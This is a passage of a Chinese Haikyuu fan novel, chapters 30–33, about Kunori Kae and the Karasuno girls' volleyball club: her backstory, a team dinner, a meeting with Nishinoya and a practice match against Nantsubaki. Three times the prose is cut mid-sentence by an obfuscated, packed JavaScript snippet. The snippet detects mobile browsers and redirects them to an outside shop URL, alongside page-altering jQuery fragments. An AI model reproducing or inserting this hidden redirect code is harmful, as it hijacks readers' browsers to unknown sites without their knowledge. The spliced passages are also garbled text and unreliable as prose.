九里绘砸了下嘴：【那应该是后天学习出来的东西，我学‘理解别人’这个东西学得就很辛苦了。】 【诶？好奇怪。】小川悠呆滞住。 【你看，这也算是理解不了的别人其中一种可能性。】九里绘找到了现成的例子，兴致勃勃地谈到，【但是这种不理解，就像探索未知地图时永远不知道下次出现在面前的是什么挑战。】 【只要我不将‘无法理解’视为不正常，那么下次，说不定我就有机会和史莱姆一起泡黏液温泉，下下次我就能和吸血蝙蝠一起玩自挂东南枝。】 【一切尽在掌控之中。】九里绘暴露了自己热爱中二的本性，面无表情地捏紧拳头，【听起来，很棒吧。】 …… 收回思绪，和同学道完别，小川悠在灯火通明的路中间追上了九里绘。 九里绘看见她来，吓得赶紧将手里的雪糕掰成两半——其中一半不慎掉落在地，两个人蹲在雪糕的尸体旁边，大眼瞪小眼。 “算了，这个给你。”把雪糕尸体清理干净，九里绘翻出了包里的苏打饼干。 小川悠撕开包装纸，嗞啦一声，里面的饼干不知从何时起已经碎成了几团粉末。 九里绘的脸红温了，赶紧蹲到地上用手把一地的狼藉清理干净：“……抱歉。” 很可爱。小川悠心想。 是面对社交不知所措，可爱又可敬的九里前辈。 “今天的事，非常感谢九里前辈为我发声。”小川悠听见自己说，“我还远远达不到报答的程度……单纯是想送给九里前辈一件礼物。” “九里前辈高中准备去哪里？” “乌野。” “诶！耗时零点五秒就精准说出了答案…是已经想好了吗？” “嗯，因为那里有很感兴趣的东西。” 小川悠偷偷在手机上搜索，发现乌野不是什么体操强校。 甚至连有没有体操部都是个未知数……九里前辈要放弃体操了啊。 不过，她一点都不感到意外。 体操只是一块小小的地方，世界那么大，前辈喜欢到处去看看。 是九里前辈选择了体操，而不是体操选择了九里前辈。 特立独行的代价是团队的排斥，但换个角度来说，这是她铸造与众不同、独一无二的灵魂的必经之路。 “如果九里前辈上了高中，仍然选择加入了一个团队，请把这个文档——我所编写的这段文字发送给前辈的队友们。”小川悠说。 “相信，前辈的队友们不会对你产生误解。” “相信，前辈队伍里的每一个人都是为了勇夺第一、不断变强而努力。” “相信，总有一个地方，能够包容前辈的个性，并且不摧残你的坚韧。” 就像九里前辈帮助她、让她学会与自己和解的那样，她也会用自己的办法为不善言辞的九里前辈发声。 小川悠站在原地，决定用文字来超越年级与学校的界限——来跨越时空的阻隔。 “请不要为孤身一人有所顾虑，始终像今天一样，享受孤独带来的乐趣吧。” …… 现实中，九里绘停止了阅读，关闭文档，正式收下了这份来自过去的礼物。 30.30章 30章——连人带比赛通通拿下 听完了故事，女排部集体陷入了一段长久的沉默。 连中尾莲端出来的蛋炒饭吃进嘴里都不香了…还有点咸。 “滴答，滴答。” 最先缓过神的中尾莲寻找奇怪声音的源头，发现是有栖川由梨在感动得落泪。 几滴泪水掉进了她的小饭碗。 “……！”罪魁祸首找到了，中尾莲发出惨叫，“不要糟蹋粮食啊！！” 一嗓子将所有人从魂飞天外的状态拉回现实。 海野辉英擦拭起眼角的泪花：“小川悠同学真是个好人，小绘也好，只有乱起绰号坏。” 中尾葵的性格比较能共情，因此很有代入感：“其实，除了那些已经毕业了的人之外，后面几届的队员们还是比较理智的……可惜，她们的勇气不足以站出来。” “哦哦，是这样嘛。”九里绘意义不明地回道。 中尾葵：“总之不是小绘的错，是她们太过依赖病态的平衡了。” “哦哦，这样嘛。”九里绘继续意义不明。 “？” “小绘你怎么了？” 九里绘心虚地开口：“其实字数太多了，我一时间没能完全看懂……” 雪菜萝丝给她夹鸡腿：“…不怪你，吃饭去吧。” “究其根本原因，还得是那个超级极端的‘前后辈制度’引发的问题吧。”月见里纱希嚼着蔬菜沙拉，手里举着叉子说，“不谈极端的话，我们有这种氛围吗？” “有……的吧？”道宫结不确定地开口。 井理世诚：“和九里，一样。” 海野辉英拍案而起：“我知道了，我们部的‘前后辈氛围’通通是建立在前辈们都相当靠谱的基础上的——就比如说我！” 她自信叉腰。 雪菜萝丝伸手护食：“英子你给我坐下，拍那么用力菜都要飞出来了！” “不好意思！”海野辉英马上比划出拉链缝上嘴的动作。 井理世诚忽然托起盘子坐到九里绘旁边，说：“因为，前辈们都值得被称作为前辈。” “这样的‘前辈’，我是愿意喊出口的。”井理世诚想了一下，仔细补充道，“我也希望，能成为让后辈们自愿喊出口的‘前辈’。” 虽然听起来比较拗口，但在场的人都充分理解了她的意思。 九里绘感慨万分：“井理学姐——” 井理世诚紧跟其后：“九里——” 九里绘大声：“井理学姐——！” 井理世诚伸出筷子：“九里——！” 雪菜萝丝实在受不了，用力把两人分开：“不要趁转移我们注意力的时候抢饭！” 木头系和电波系的抢饭计划大失败。 干完饭的有栖川由梨将碗放在桌上，垂下的眼睛似乎在奋力思索着什么。 “既然小绘都揭露自己的过去了，我不妨也来讲讲。”有栖川站起来说。 “我的国中，是生活在友好的排球部与造谣我的谣言，这两个极端环境中的！” 九里绘立刻惊叹：“这么酷？” “所以我超级偏爱一起打排球的同伴，认为喜欢排球的没有坏人。”有栖川由梨认真点头，“在选择高中前，我努力收集了各种渠道的信息，最后锁定了乌野——” “我就是为了乌野女排，没有前后辈霸凌，即使没有成绩和存在感，也不会为任何一点小事斤斤计较的美名而来的！” 井理世诚：“能考到的最高分。” 月见里纱希：“我应该是离家比较近吧。” “真好啊。”道宫结流露出愉快的笑颜，后知后觉，“诶，现在已经聊到来乌野的理由了吗？” “我是随缘来着。”“我也是……毕竟成绩比较一般嘛。” “我是听家里人的推荐。” “黑色制服。”九里绘抱住双臂，再次因为理由特殊而成为了焦点。 “制服是黑色的，我很喜欢，比起女款短裙，我更想抢男款的穿。” “咳咳咳。”雪菜萝丝被过于坦率的答案呛了口水。 有栖川由梨话锋一转：“我很喜欢小绘、小葵还有前辈们，但是有件事我想一并问问清楚。” “开学那周，前辈们集体旷掉了部活，到底是什么原因？”她冷静道。 道宫结坐在中间，笑眯眯地跟着复述：“是什么原因呢？我也很好奇。” “……！！！” 二年级们背上的冷汗直流。 临时经理中尾莲专门搬了个小凳子，坐在一旁吃瓜。 仿佛审讯一般的场景，雪菜副队只能跟着道宫队长憋住笑意，板着脸撑住气场。 月见里纱希不慌不忙地说：“我每天都去扒着学生会的大腿请求审批社团经费下来。” 和命根子之一的经费有关，她pass。 井理世诚娓娓道来：“有天，我在一年级的走廊上发招新宣传单，嘴里吃着糖果。” “被一名新生误举报成抽烟，当天下午，秃头的教导主任就喊我去喝茶，禁了一周的部活。”井理世诚满脸不开心，“棒棒糖的白棍，真的很像烟吗？” “也许是世诚你的死鱼眼和不良脸太有欺骗性了……”月见里悄悄吐槽。 “佐佐木暂且不论，还有一位——海野你有什么想说的吗？”道宫结指名道姓。 “我…无话可说。”海野辉英低头认错，“其实也没打算偷懒，只是当时脑袋一热，想要趁开学组建一个校园啦啦队。” “啦啦队？” “你不觉得别的学校观众席都异常得训练有素吗？不会觉得羡慕嫉妒恨吗！？”海野辉英大喊，“我啊，觉得场外鼓舞也是竞技比赛的一部分。” “要给所有体育社团都组织出一支酣畅淋漓的啦啦队啊！” “英子——你说得太有道理了！”雪菜萝丝控制不住表情了，忍不住赞同道。 道宫结的一句话将二人拉回现实：“这就是你企图成立‘男子炫舞啦啦队’的理由吗？” 雪菜萝丝的手放下了，规规矩矩地坐回原地，假装无事发生。 作为房间里唯一的男性，中尾莲默默地搬着凳子往后挪开几米。 “好像没什么不对。”九里绘若有所思，“男生的比赛就派女子啦啦队，女生的比赛让男子啦啦队上，合情合理。” 合情……合理…… “等一股子脑热过去后，我就爬回来练习了。”海野辉英土下座，说道，“保证再也不会有旷掉训练的行为。” “请原谅我的冲动行事！” …… 所有的疑问和困惑一同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948290|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释完毕，再也没有什么能成为阻拦在女排部前进道路上的障碍。 道宫结上前拉起了海野辉英，两人身高差了一大截，高度拔尖的的海野辉英显然不需要她来拉。 等到完全站起身时，道宫结的手已经高举到了半空，索性笑了笑，顺手拍一下海野的背。 “你们的话题结束了吗？说完的话该轮到我了。”望月加代突然出声。 把众人吓了一跳：望月老师什么时候来的？ “我果然还是没什么存在感。”她自我吐槽了一下，随后道，“不过，只要这项特质能够带来好的结果，我会期待它保持下去。” 望月加代拿出一张纸，上面写着地址，时间定在黄金周的中期。 “原本在约练习赛的时候，都收到了委婉的回绝……但是有一个学校的指导老师刚才和我重新取得了联络。” “她说很抱歉漏看了消息，不知为何，那条消息在她办公桌上最醒目的位置摆了整整一周，都没被她注意到。” “兴许是内心愧疚的缘故，那名指导老师同意了训练赛。” “我们，要有比赛打了！”望月加代激动道。 * 因为过于兴奋而冷静不下来，九里绘换上鞋子出去慢跑，来消耗多余的精力。 良好的视力，让她提前捕捉到了来自远处迅速靠近的一群身影。 为首的是全力冲刺的日向和影山，九里绘往旁边小小挪出点位置，不出五秒，两人带着一团夸张能看到实体的尾气奔来，同时脚后跟刹车。 “是我赢了！”“我先到的！” “抱歉打断你们的胜败结算。”九里绘指了指身后，“你们合宿也在附近吗？” “九里桑！”日向翔阳欢快地打招呼。 影山飞雄脸色一愣：“应该是在附近。” 九里绘：“你们会迷路吗？” “可能或许大概…不会的吧。”日向翔阳瞄了一眼影山，越说越没底气，“学长们怎么还没来……” “影山同学，这个正好先还你。” 九里绘双手递出的是之前晚补习课拿到的《连排球杂志看了都说好的讲解手册：如何接好一传》。 她平时跑步的时候会觉得无聊，就在心里默背手册里的口诀，外加复盘今天的训练。 偶尔背到一半卡壳时，就拿出来翻看，记到今天已经相当熟练了。 影山飞雄迟钝了一会，说：“哦，好。” 九里绘：“嗯。” 影山飞雄：“嗯。” 九里绘忽然想到了什么，抬起食指：“啊！” 影山飞雄：“啊？” 九里绘：“对，就是那样。” “剩下的几册，回学校了我拿给你。”影山飞雄点点头。 “是我的耳朵出问题了？为什么我听不懂……”日向翔阳肃然起敬，“你们刚才完成了一场不得了的交流啊！！” 同时响起的还有缘下力的呼喊：“西谷你这诡异的停顿又是什么？…呃。” 细碎的跑动声纷纷停下。 不好！后来抵达的一群人警铃大作。 是“千万不能让两人认识”目前暂列排行榜第一名的“自由人单推”组合，西谷他和一年级的九里学妹碰面了啊！！ 那种事情不要啊，他们不允许—— 31.31章 31章——天造地设是一种感觉 九里绘双手插在口袋，隔着一段距离问：“今天的排球打得开心吗？” 虽然相隔了几个身位，也没有带上主语，但她的视线早已悄无声息地锁定了来人。 西谷夕迅速全身绷紧，回答：“开心！超级无敌开心！！” 不知为何，围观人士们的眼前突然浮现出了一段不存在的记忆…… 【你，喜欢排球吗？】 【如果喜欢，就把它当作是一种荣耀，而不是炫耀。】 不对，脑补错风格了啊！ 打破胡思乱想回到现实，只见西谷夕静止不动在那里，站姿笔直。 九里绘点了点下巴，祝贺道：“那么，恭喜你回归到开心的排球部。” 西谷夕下意识喊：“九——” 一刹那，九里绘的视线投过来，上翘的眼尾微微朝他眯起。 “里绘！”西谷夕赶紧半路改变称呼。 “？”这是不了解当前的情况但是距离最近的日向和影山。 九里绘很是满意，虽然脸上没什么笑容，身体周围却非常诚实地浮现出小花：“晚上好，西谷。” “？？”这是以前经常一起放学回家，见证了西谷夕背叛全世界的木下久志和成田一仁。 西谷夕的脸泛红，一半是惊喜另一半则是难以言喻的心情…连话都结巴了：“啊、啊…晚上好！里绘训练辛苦了！” 九里绘：“你也是。” “？？？”这是感受到了某种奇妙氛围，从而怀疑人生的田中龙之介。 缘下力满脸写着要忍耐：“…我明白你们想要围观的心，但能不能别把我当墙体全都躲在后面啊！？” “li ei是什么？九里桑的另外一种昵称吗？”没读懂空气的日向翔阳好奇发问。 九里绘耐心地解释：“因为我名字的写法，平时发音是kunoli（九里）kaku（绘），把姓拆一半下来和名字连起来读就是里绘（li ei）。” “这是我发明的一个新昵称，目前唯一这样喊我的是西谷，大多数情况下，我喜欢让熟悉的人喊我绘（kaku）。” “卡酷一！好帅！”日向翔阳下意识接道。 “对！我也觉得很帅。”九里绘继续面无表情地持续散发小花，“和帅气的读音只差一个音节，我超喜欢自己的这个名字。” 一旁，听完了九里绘的解释，西谷夕脑中反复闪过“新昵称”“唯一喊的人”等关键词…… 最终，他好似失去了魂魄，一脸幸福地变成白色纸片人。 田中龙之介疯狂摇动他的肩膀，显然理解错了意思：“以前被女生们无视的日子多了去了，怎么偏偏就今天难以接受啊？！” 木下久志：“人不一样吧…呵呵。” 成田一仁观察：“啊，闭着眼睛倒下了。” 最晚赶到附近的月岛萤喊上山口忠转身掉头往回跑。 正当二年级成员们对西谷夕的奇怪状态束手无措时，九里绘虽迟但到，礼貌地穿过人群，问候其他人。 “晚上好，请问我能借用一下你们的西谷吗？” 田中当机立断暂停救援，将变成了纸片状的西谷扔出了十几米远，火速闪离：“没问题，九里学妹！你们去那边慢慢聊！” 日向翔阳抬头感叹：“阿谷学长飞走了！他和九里桑要去哪里？” “别管了，快跟我回去！”田中揽过他的肩膀。 * 黄昏时分，西谷夕的心情宛如那片天际一样沾染上了美妙的金色。 他既期待又忐忑，似乎整个世界只剩下了他们两个人。 “西谷今天的状态很神奇。” 天空下，九里绘问道：“又不是很久没见了，为什么会露出第一次见面时的那副表情来？” 西谷夕像是被戳破了心事，匆忙反问：“你也觉得我很奇怪吗！？” 什么叫也…？ “不奇怪，只是稍微有点怀念第一天认识的事故。”九里绘晃了晃脑袋，搬出正题，“明天下午有场训练赛，我想要得到西谷的鼓励。” 扑通。 仅需一瞬间，西谷夕心甘情愿地跳入了名为九里绘的漩涡，气势十足地高喊：“里绘加油！2：0拿下她们！！” 九里绘轻轻拍起手鼓掌，忍不住追问：“换种句式呢？” “换一种？！”西谷夕焦急地脑袋转不过弯来，“…里绘想要什么类型的？” “嗯……从玩游戏的角度来看，我想要得到乌野守护神的继承。”九里绘将手放于身侧，去拉西谷夕的外套。 她攥住袖口：“西谷是我在排球上的引路人，而我也是自由人，用继承来形容应该也不算过分吧？” 守护神——！！！ 完蛋完蛋完蛋，这样下去可不行。 自从那晚过后，西谷夕就暗自下定决心，要让里绘意识到他们之间的关系绝非纯粹的挚友之情…… 不对，约定好的挚友关系也是毋庸置疑的！ 西谷夕持续不断地挖掘自己的内心。 是他——是他先有了好朋友以外的私心！也是他——想用行动来让里绘慢慢察觉到自己的私心！（捂胸口） 想通这一点时，仿佛听见啪嗒一声，西谷夕理智里的备用电路启动了。 他干脆利落地从外套口袋里翻出了一小块完整的透明塑封袋，递到九里绘跟前。 摊开掌心，里面装的是一个三色球挂件。 挂件并不稀奇，重点在于它是运动项目主题的扭蛋盲抽中，两人忙活许久都没能抽到的排球挂件。 看见它，九里绘的思绪立刻被拉回了和西谷夕玩扭蛋的那个傍晚。 她还记得，那天的黄昏拥有和今天一样好看的晚霞。 跟随着先前提到的游戏风格，西谷夕一本正经地说明：“这是唯一一件，独属于玩家九里绘的特殊道具，来自乌野守护神的‘祝福图腾’。” “……”说完之后，他才意识到了什么，脸颊上的绯红色不断向周围扩散。 不小心放纵自己起了一个超级羞耻的称呼。 当九里绘眨着那双让他无法拒绝的眼睛直白地看过来时，西谷夕顿时变得羞赧不已。 想当场转身逃跑，手腕却被另一只手，从袖口往下一拽抢先握住了。 连带着他的手腕，九里绘的指尖轻轻盖过他掌心的挂件，一起包裹在炙热的温度里。 “真是帅气的讲解啊，乌野的守护神大人！”她弯起了眉眼，流露出一个淡淡的笑容，“我收到了，谢谢。” “我们会赢的。” 西谷夕松开手跑到半米外，慌里慌张地说：“肯定能赢！全部、全都、所有东西都可以给你！！！” 九里绘将挂件收起来，稳稳道：“太夸张了，我可不要那么多，你留给自己啦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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九里绘抬手在颈部仔细比划，边挥边说道：“像这样，黑色竖领的外套，西谷同学你能理解我的意思吗——” “如果校服再加一套贴身穿的黑衬衫，就能达成我心目中的百分百完美了！是100%！”她兴奋地说。 怎么可能不理解。 神明大人啊…… 卡密撒嘛………… 谁都可以，万分感谢，快来救救他吧。 西谷夕怔怔地屏住了呼吸，假如在这个瞬间，九里绘让他立即说出一个“为什么会发生身体互换”的猜想，他百分之百会自豪地脱口而出： 因为他们是百分之百的（癖好）绝！配！啊——！！！ 九里绘：“因为喜欢，所以有的时候，我会无意识地随便扯别人黑色外套的袖口……” 西谷夕果断把外套裹得更严实了，袖子稍微往上拉了一些。 可惜分别的时间到了，今天没机会继续拽袖口。 “那么，改天见。”九里绘向他挥手。 “…改天见！”西谷夕说着，目送她的背影远去，继续放任起自己的想入非非。 赶快注意到吧，他贴身带着小挂件，就等着随时随地可以送出去的真实目的。 他的一切反应都藏匿着私心。 请坚定不移地，犹如渴望赢得未来每一场比赛的野心那般。 毫不犹豫地，一口气将他拿下吧…… 32.32章 32章——直觉系是思考者的天敌 自然生物钟惊醒的那一刻，九里绘一个弹射起步，跑到房间外开启了晨读。 晨读的内容主要是女排队共同研究出的战术手势和队形安排。 九里绘自打读书起就对背书一窍不通，因此只能靠勤能补拙。 当第二个醒来的井理世诚打着哈欠起床时，九里绘已经慢跑完回来了。 中尾莲从外面带了早餐，眼睁睁看着九里绘的那份被她一扫而空，很是经意地开口道：“我随便说说，你也随便听听……谢谢你当初带我姐玩排球。” 九里绘茫然地抬起头：“？” 中尾莲意识到多说无用，只有直球才有效果：“要是没有你带着她一起回社团，她估计现在都不敢回队伍。” “她不是闯祸了吗？” “那都是借口！我姐胆子那么小，怎么可能会让自己闯祸啊。” 九里绘不懂了：“所以真相是？” 中尾莲看了看四周，确保没人进食堂，压低音量说：“被二年级一个叫佐佐木的人给吓跑的。” 她对这个姓氏有点印象。 开学以来每次点名都不在场，道宫队长总是想着搪塞过去，似乎有什么难言之隐。 说好的“佐佐木不会缺席集训和比赛”，可黄金周已过大半，目前为止她一次都没见到过本人。 “听说她是那种真正意义上的不良少女。”中尾莲说到一半，陆陆续续有人进来，干脆打住话题。 “起得好早啊，小绘。” “嗯，因为比较兴奋，没怎么睡着。” “其实我也……” 一个上午的训练顺利度过。 午后，登上报备了好几次才借到的校车，出发前往训练赛所在的南椿高中。 望着校车不断向远处驶离，一行人挎着五颜六色的大包小包，在体育馆门口碰到了本校的队伍。 她们似乎是刚午休回来，眼见着有一群穿着黑色外套的人乌泱泱地从校门口涌向体育馆，还以为是什么不明危险人士。 结果近距离一看，原来是乌野的校服特色啊。 “…雪菜肉丝？”为首的南椿女排部队长遇到了熟人，“两年多没见，原来你还在打排球啊。” “是雪菜萝丝不是雪菜肉丝！” “哈哈，反正差不多嘛。”南椿的队长大大咧咧地笑了一声，“全县都没几个黑皮混血，就算天黑了也认得出来。” 雪菜萝丝的额头冒出井字：“你说的那叫什么话，我在打排球很意外吗！？” “因为这些年来打比赛，一次也没有碰到过肉丝你来着。”南椿队长摸了摸刘海，实话实说。 “……”想起往年每次都被早早淘汰的历史，雪菜萝丝一下子变成了哑炮。 这个时候，道宫结站了出来，伸出右手：“我是乌野高校女排部的队长，道宫结，请多指教。” 南椿队长一愣，低头正色回握：“请多指教，我是南椿高中女排部队长，古川珍。” * 望月加代与南椿的指导老师与教练相互礼貌问候了几句，到后面实在词穷，赶紧让两方人进场列队。 忽略掉乌野没有教练的事，望月加代独自硬撑着扮演两种角色的气场，很快又发现了另外一个残酷的现实。 南椿高中出席这次的训练赛，全员换上了正式比赛的浅紫色球服。 而乌野定做的球服要在黄金周的最后一天才会送来，目前穿的是带有数字背号的马甲套。 南椿教练欲言又止：“你们……” “只是穷而已。”望月加代坦率地说，挺直腰杆，“没错，我们向来经费不足，每次填财务报表都是拆东墙补西墙，是真正的贫穷。” “所以，绝不是态度有所怠慢，这是我们拿得出手的最好东西了！”望月加代的眼神闪烁出强烈的红光。 老师/教练：“……好的。” 佩戴完护膝护腕，重新缠好身上的绷带，九里绘的脸色黑了下来。 那是她每逢临考前温习知识的必备表情，有种拼命赴死前沉淀自我的美感。 隔壁正在热身的南椿二传手恰好瞟见了她的神色，感到脊背发凉，迅速回头说：“注意下对面的那个蓝眼睛，她恐怕是操盘手。” 南椿主攻抽了抽脸：“那个什么，她穿的是唯一一件反色，应该是自由人吧。” “诶？？我的二传雷达…出错了？” 有栖川由梨使劲憋住笑意，上去拍九里绘的背：“走了，该去享受赛前鼓舞了！” 以下是场上的队伍名单。 主攻：道宫结，井理世诚；副攻：海野辉英，中尾葵 二传：雪菜萝丝；接应：有栖川由梨；自由人：九里绘 替补：月见里纱希（主攻） 非特殊的普遍情况下，海野与九里在轮转期间交换上场。 所有人围成圈，道宫结长蓄了一口气，朝前伸出拳头：“乌野——” “Fight！”“Fighting！”“？后面那句谁喊的！？” “是我。”来自学渣井理世诚的真诚发问，“英文动词位于句首，需要加ing吗？” “噗嗤。” 意外的插曲将整支队伍从初战的紧张氛围中解脱出来。 另一边，南椿教练也开始了她的赛前训话。 “废话我就不多赘述了，你们肯定相信自己和队友们的实力吧。”她说，“虽然这次的对手是一支看起来默默无闻的队伍，但不能够掉以轻心。” “拿出你们平时应对比赛的精神来。” 话音落下，气氛已成，古川珍轻笑，带头齐喊：“知己知彼…” “…百战不殆！” 然后，古川珍快速说出了自己所掌握到的信息：“对面那个黑皮白毛的混血是二传手，国中时当了三年的替补。” “她的托球技术十分单调，放心去打，防守跟紧点，进攻方面不要露出短板。” 副攻颔首表示明白，接着提出：“发球尽量朝着对面的自由人打。” “理由？” “我观察到，她们的自由人是个还在被关照的一年级。”副攻做出判断，“让她们在接一传上无从下手。” “可以。”古川珍认同，出于好奇问道，“是怎么观察到的？” “光明正大地偷听聊天。” 周围人纷纷笑出了声。 无论是场内还是场外，只要有办法获取到对手的最新情报，她们就能迅速调整出适当的计划。 所有人都不可以放弃思考，为了最终一举击破对手的弱点而努力，这就是南椿高中的队伍特征。 …… 一号位的队长古川珍用一个漂亮的跳发开启了首局节奏。 高速旋转的三色球朝着后排袭来，落点恰好位于有栖川和九里的中间。 “我来！”有栖川大喊着举起双臂，九里绘马上避让。 一传的卸力做得不充分，球在空中弹得很远，雪菜萝丝采取跑动补救措施，呼唤队友：“道宫！” 听闻此声，南椿的副攻在她托完球后才稳妥地选择起跳，道宫结在空中调整姿势，挥臂扣球。 被紧跟着副攻一同举起的另一双手臂拦了下来。 排球以不可估计的旋转冲力向侧边坠落，就在这时，提前压低了身体重力的九里绘膝盖弯曲，脚下瞬间发力。 扑到网前，左手擦着地面奋力向外铺展，球在砸中手腕后弹起。 “补救！”顾不得腕骨的疼痛，九里绘往空地翻滚让出身位。 “准备！”雪菜萝丝高喊出秘密口令，上手托，“道宫——” 还是同一个人。 网前的两人在目睹了乌野队逐渐加快的速度后做出了提前拦网的决定：“右边。” 空中的抛物线向着左边无人防守的地带飞去。 井理世诚起跳，将这一球狠狠地扣下去。 古川珍赶上了救球的时机，发力的双臂却在与排球相撞时被巨大的冲击力弹开。 乌野：南椿，1：0 第一球，她们在乌野开辟出了属于自己的道路。 …… 首局赛程过半，当两队的比分来到15：15时，南椿的指导老师忍不住发话了。 “她们真的是…传闻中那支一轮游的队伍吗？” “每一届的选手都在不断变动，竞技体育就是这样一个无论在哪里都有可能冒出黑马的地方。”教练平静地说道，举手示意了暂停。 南椿队员们抓住休息的时间，边补充水分边听教练分析现状。 “能够一直保持思考是很好，但也不要过度依赖于此。” 古川珍反省道：“比如我们的刻板印象认为新生不擅长接球，没想到她的救球也很拼。” 在教练无言的注视下，她继续说：“还有…不能小看故人。” “我很喜欢用古语来阐述一些想法，‘士别三日，当刮目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984511|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相待。’”教练说。 “乌野和从前相比，更像是一个不断修补中的木桶。” “木桶？”这把古川珍整不会了，她成绩一般，能学打排球不代表能听懂国文课…… “木桶原理，又称短板效应：一个木桶能够装下多少水，取决于最短的那块木板。”教练指向对面，“乌野没有特长，却也没有了显著的缺陷，所有成员都作为组成木桶的其中一块，谨记自己的定位。” 相反方向，海野辉英在张牙舞爪地向中尾葵强调拦网的动作。 “你要压过去啊，把对面想象成蚊子，气势和手一起使劲，将对面拍死！哦也不能伸太过，千万别触网。” 中尾葵哭哭脸，音量比蚊子还小：“根本拦不到啊，球从我头顶飞过去……” 雪菜萝丝尖叫：“英子，不准欺负矮个头！” 有栖川：“你只要负责挡在那边就可以了，逼她们把球扣到我们锁定的路线上。” “少让井理打后排进攻，她要是累了换月见里上。”道宫结说。 南椿教练看了看对面热闹的动静，继续说：“再加上稳定的心态，和未知的战术，是一种稳扎稳打的得分手段。” “——但是，也止步于此了。” 教练的一句话瞬间将队伍低迷下来的士气扭转回来。 “一支中规中矩的队伍，待路数用尽后，就会把一切底盘都暴露在你们面前。” “莫非你们以为自己会输吗？”教练微笑着点向太阳穴，“拉长战线，研究套路，思考与理性可是你们的必胜武器。” 古川珍等人纷纷亮起了眼睛，重燃起信心，喊道：“是！” 暂停时间结束。 扳回一分后，发球权回到了古川珍的手上。 她将球重重地拍到地板，弹回，再拍。 眼神扫过网对面的后排球员：二传，主攻（非队长的那位），以及自由人。 在二传雪菜萝丝的带领下，三人站在接近底线的位置，早已猜到了古川珍打跳发的想法。 古川珍长呼出一口气，将球抵在前额，心中默念起她和队员们的计划。 她知道自己的跳发球不够暴力，为了能提高准确率，经常会选择牺牲力度和落球点。 即使放开去打，她的力量也不算强大的一类，几年下来的练习，让她找到了一个可以引诱人判断失误的办法——其中的信息差，乌野并不知晓。 衡量完毕，古川珍将球高高抛起，自上空高速飞出。 “我来！”九里绘先喊为敬，让雪菜和井理为后续的进攻调整位置做准备。 当她的视线完全被排球夺去时，刹那间，她好像看见了放慢速度的三色纹路。 这三种不同的色块交叠在一起，闪动的频率仿佛预示着排球的速度与冲力。 屈膝抬臂的动作停滞一瞬，一种不明来源的想法正刺激着九里绘的大脑。 于是，在排球即将触碰到皮肤前，九里绘往侧撤了一步，双手不受控制地向上抬起，喊：“Out。” 下一秒，排球落地。 没有压线，没有擦边，是界外。 乌野：南椿，17：15，夺回发球权。 “哦哦哦哦哦！小绘！！”雪菜萝丝当场把她举高高，欢呼庆祝完后才放下。 古川珍深深地呼吸迫使自己冷静下来，但还是无奈地朝远处开口：“这种程度……到底是怎么被一眼看出来的啊？” “…她是什么魔鬼新人吗？国中什么学校的？”二传手问。 前者的答案就算讲清楚了，想必也无法让别人理解。 九里绘相当自然地将自己的底牌说了出来：“曾经有个人告诉我，他说‘绘酱，你要学会好好地利用你的才能。’” “‘不要乱学外面的那些人，消耗所剩无几的大脑空间用来思考，思考对你而言是浪费时间，干脆凭直觉上吧。’” 仍在努力思考的南椿选手：“……” 南椿的指导老师及教练：“……” 望月加代清了清嗓子，丝毫不在乎这种解释有多么奇葩，在观众席自信地散发出光芒。 “直觉系是思考者的天敌。”教练干巴巴地为场上做出总结。 古川珍懵了：“…哈？这都可以？” 她将目光重新投向九里绘，对那张不说话时绝对能当个哑巴女神的脸蛋产生了新的滤镜。 这是赤裸裸的挑衅！是长着一张无辜脸，浑然不自知的挑衅啊！！！ 33.33章 33章——意外与明天，两个都会到来 第一局接近末尾。 月见里替换井理上场，按照轮转换位，乌野的后两位发球选手是擅长跳发的道宫结和中尾葵。 道宫结的发球轮在南椿的副攻诱导下拦网失败。 下一球，九里绘的一传到位，雪菜萝丝将球托给了本局进攻次数最少的有栖川由梨，扣球得分。 比分来到了24：22，乌野领先，提前拿到局点。 九里的位置因为到了前排而下场，交接的时候，她和海野辉英相视无言，痛快地击掌。 中尾葵站到发球区。 到了关键分，场下的望月加代越看越紧张，十根手指不安分地攥住外套。 能够听到她嘴里的碎碎念：“中尾同学心慌了怎么办，中尾同学心慌了怎么办……” 九里绘回想起了新生赛的例子，她就是用了中尾葵害怕发球失误的忧虑让她将跳发换成了普通发球。 在候场区头脑风暴了一会，九里绘忽然有了灵感，喊道：“小葵！” 听到声音的中尾葵神经紧绷，不敢转身。 “我会一直看着你——”九里绘眯起眼睛，“看着你…不准退缩哦。” “！！？” 哨音响起，中尾葵全身都在用力，感觉比平时还跳得更高了些。 半空中，她的表情完全失去了控制，满脑子想的是“幸亏没人会记录自己的丑照”，接着掌心包住球，向下猛扣。 前排的井理和月见里做出了抱住后脑勺的动作，以此来遮挡视野。 下一刻，她们隐约听到了头顶传来的某种破空之音。 南椿的自由人退至边线盯着排球的轨迹，随后毫不犹豫地转身避开：“界外！” “砰！”排球在落地后弹出了很远。 南椿的指导老师扶住眼镜框，迟疑道：“刚才…算界内还是界外？” 